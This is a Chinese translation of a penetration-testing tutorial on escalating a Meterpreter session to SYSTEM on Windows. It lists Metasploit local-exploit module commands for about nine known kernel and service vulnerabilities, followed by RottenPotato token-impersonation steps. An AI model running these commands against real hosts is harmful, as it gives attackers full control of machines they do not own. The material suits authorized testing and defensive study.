原文:
http://www.hackingarticles.in/windows-kernel-exploit-privilege-escalation/
大家好,上一篇文章中,我们讨论了使用自动化脚本进行Windows提权的向量。今天我们来演示通过内核利用技巧来提权。为此,我们将使用metaspolit的内置模块Local Exploit Suggester。这个模块可以帮助我们识别系统存在哪些漏洞可以被利用,并且为我们提供最合适的exp,通过这个exp我们可以进一步提权。
目录
Windows-Expolit-suggester
Windows ClientCopyImage Win32k Exploit
Windows TrackPopupMenu Win32k NULL Pointer Dereference
通过Kitrap0D进行Windows系统提权
Windows Escalate任务计划程序XML提权
MS16-016mrxdav.sys WebDav本地提权
EPATHOBJ::pprFlattenRec本地提权
MS13-053 : NTUserMessageCall Win32k内核池溢出
MS16-032 Secondary Logon Handle提权
RottenPotato提权
windows-Exploit-suggester
metasploit内置模块提供了很多可以进行提权的本地exp,并且根据架构,平台(运行的操作系统),会话类型和默认选项来推荐最合适的exp。这大大节省了我们的时间,因为我们不用再去手动搜索本地exp了。
用法:
注意:我们首先要获取目标主机的meterpreter会话,才能使用这个模块。而且在使用这个模块之前,我们需要先把当前的meterpreter会话放到后台运行(CTRL+Z)
现在我们获取到的meterpreter会话是1,执行下列命令:
use post/multi/recon/local_exploit_suggester
set LHOST 192.168.1.107
set SESSION 1
exploit
如图所示,显示了目标主机存在的漏洞和可以提权的后渗透利用exp。
Windows ClientCopyImage Win32k Exploit
Windows内核模式驱动程序中的漏洞让攻击者可以进行提权。
这个模块利用了win32k.sys内核模式驱动程序中不正确的对象处理。
这个模块已经在win7×64和×86,win2008R2 SP1×64上进行过测试。
现在,我们打开MSF控制台并执行这个exp,命令如下:
use exploit/windows/local/ms15_051_client_copy_image
set lhost 192.168.1.107
set session 1
exploit
一旦这个选中的exp得到执行,我们就得到了另外一个meterpreter会话,然后执行命令查看系统信息,如图:
如你所见,系统当前登陆的用户是Windows特权用户 NT AUTHORITY\SYSTEM
Windows TrackPopupMenu Win32k NULL Pointer Dereference
该模块利用了win32k.sys中的NULL Pointer Dereference,这个漏洞可以通过使用TrackPopupMenu来触发。在特定情况下,可以在xxxSendMessage Timeout上滥用NULL Pointer Dereference来获取任意代码执行。
这个模块已经在Windows XP SP3,Windows Server 2003 SP2,Windows7 SP1,Windows Server2008 32位和Windows Server2008R2 SP164位上测试过。
现在打开MSF控制台,执行exp:
use exploit/windows/local/ms14_058_track_popup_menu
set lhost 192.168.1.107
set session 1
exploit
选中的exp执行之后,便会获得另一个meterpreter会话,然后输入getsystem和getuid命令查看系统信息,如图所示:
提取成功,现在是Windows特权用户NT AUTHORITY\SYSTEM。
通过KiTrap0D进行Windows系统提权
这个模块会通过Kitrap0D这个exp来生成一个SYSTEM权限的新会话,如果当前会话已经是SYSTEM权限,那么这个脚本将不起作用。这个脚本依赖于kitrap0d.x86.dll这个文件,而且不支持64位的Windows操作系统。
该模块已经在存在漏洞的Windows Server 2003,Windows Server 2008,Windows7和XP上测试过,只限32位操作系统。
开启MSF控制台,执行exp,命令如下:
use exploit/windows/local/ms10_015_kitrap0d
set lhost 192.168.1.107
set session 1
exploit
执行之后得到一个新的meterpreter会话,执行命令查看系统信息,如图:
widows特权用户,NT AUTHORITY\SYSTEM
Windows Escalate Task Scheduler XML提权
计划任务中的这个漏洞能够导致提权。
如果攻击者登陆到存在漏洞的系统并且运行精心构造的应用程序的话,攻击者就可以通过此漏洞成功进行提权。不过,攻击者必须要有合法的凭证并且在本地进行登陆才能利用这个漏洞,远程用户和匿名用户无法利用。
该模块在存在漏洞的Windows Vista,Windows7,Windows Server2008x64和x86上测试过可行。
开启MSF控制台,执行这个exp,命令如下:
use exploit/windows/local/ms10_092_schelevator
set lhost 192.168.1.107
set session 1
exploit
获得一个新的meterpreter会话,而且查看命令可知,已经是Windows特权用户NT AUTHORITY\SYSTEM,如图所示:
MS16-016mrxdav.sys WebDav本地提权
这个exp利用的是mrxdav.sys中的漏洞,漏洞编号是MS16-016。该模块会在目标主机上生成一个进程,并通过在特权进程的环境下执行指定的payload来提权。
该模块在存在漏洞的Windows7 SP1 x86架构上测试过可行。
现在我们来实战,打开MSF控制台,执行exp,命令如下:
use exploit/windows/local/ms16_016_webdav
set lhost 192.168.1.107
set session 1
exploit
执行后得到一个新的会话,并且是Windows最高权限NT AUTHORITY\SYSTEM,如图所示:
EPATHOBJ::pprFlattenRec本地提权
这个漏洞是由于EPATHOBJ::pprFlattenRec使用了未初始化的数据而产生的,该漏洞可以对内存产生破坏。
而我们的这个脚本就是利用这个漏洞来提权的。
这个模块已经在Windows XP SP3,Windows2003SP1和Windows7SP1上成功执行。
还是一样的套路,开启MSF,执行exp,命令如下:
use exploit/windows/local/ppr_flatten_rec
set lhost 192.168.1.107
set session 1
exploit
结果一样,就不罗嗦了,直接上图:
MS13-053:NTUserMessageCall Win32k内核池溢出
Win32k中的内核池溢出导致本地提权。这个内核shellcode清空了winlogon.exe进程(系统进程)的ACL。这就导致了任何非特权的进程都可以自由迁移到winlogon.exe进程中,从而实现提权。在2013年的pwn2own大赛上,MWR实验室就利用此漏洞攻破了chrome的沙箱机制。不过,需要注意的是,当你推出meterpreter会话时,winlogon.exe进程可能会崩溃。
目前,该模块已经在Windows7 SP1x86上成功运行。
接下来还是跟上面一样,打开MSF,执行exp,命令如下:
use exploit/windows/local/ms13_053_ schlamperei
set lhost 192.168.1.107
set session 1
exploit
获取到新的会话,且已经成功提权到Windows特权用户NT AUTHORITY\SYSTEM,有图有真相:
MS16-032 Secondary Logon Handle提权
该模块利用的是Windows Secondary Logon服务中标准句柄清理功能的缺失。已知该漏洞会影响Windows7-10,Windows Server2008和2012,32位和64位都会受影响。
这个模块只对集成了powershell2.0或更高版本的Windows且具有多个CPU内核的系统有效。
步骤同上,直接在MSF中使用下列命令:
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set session 1
exploit
生成新的meterpreter会话,权限是NT AUTHORITY\SYSTEM,如图所示:
RottenPotato提权
RottenPotato本地提权,从service账户提升到SYSTEM权限。
在运行二进制文件后,快速模拟Tokens(或者运行list_tokens -u)非常重要。按照步骤一步一步执行也非常重要。在运行二进制文件的时候,请确保使用“incognito”选项。
meterpreter会话中的Incognito选项刚开始是一个独立的应用程序,该程序可以让你在入侵一个系统后模拟用户令牌。不过我们首先需要做的是检查系统中是否存在有效的tokens,使用下列命令来查看:
load incognito
list_token -u
可以看到当前没有可用的令牌,如图:
现在,我们从GitHub上下载Rottenpotato脚本来进行提权:
git clone https://github.com/foxglovesec/RottenPotato.git
cd RottenPotato
下载下来后是一个rottenpotato.exe可执行文件。
上传这个exe文件到目标主机中:
upload /root/Desktop/RottenPotato/rottenpotato.exe
如图:
现在输入下列命令来执行这个exe文件,然后在模拟用户令牌下添加SYSTEMtoken:
execute -Hc -f rottenpotato.exe
impersonate_token "NT AUTHORITY\\SYSTEM"
如图所示,现在我们已经是NT AUTHORITY\SYSTEM权限了,提权成功。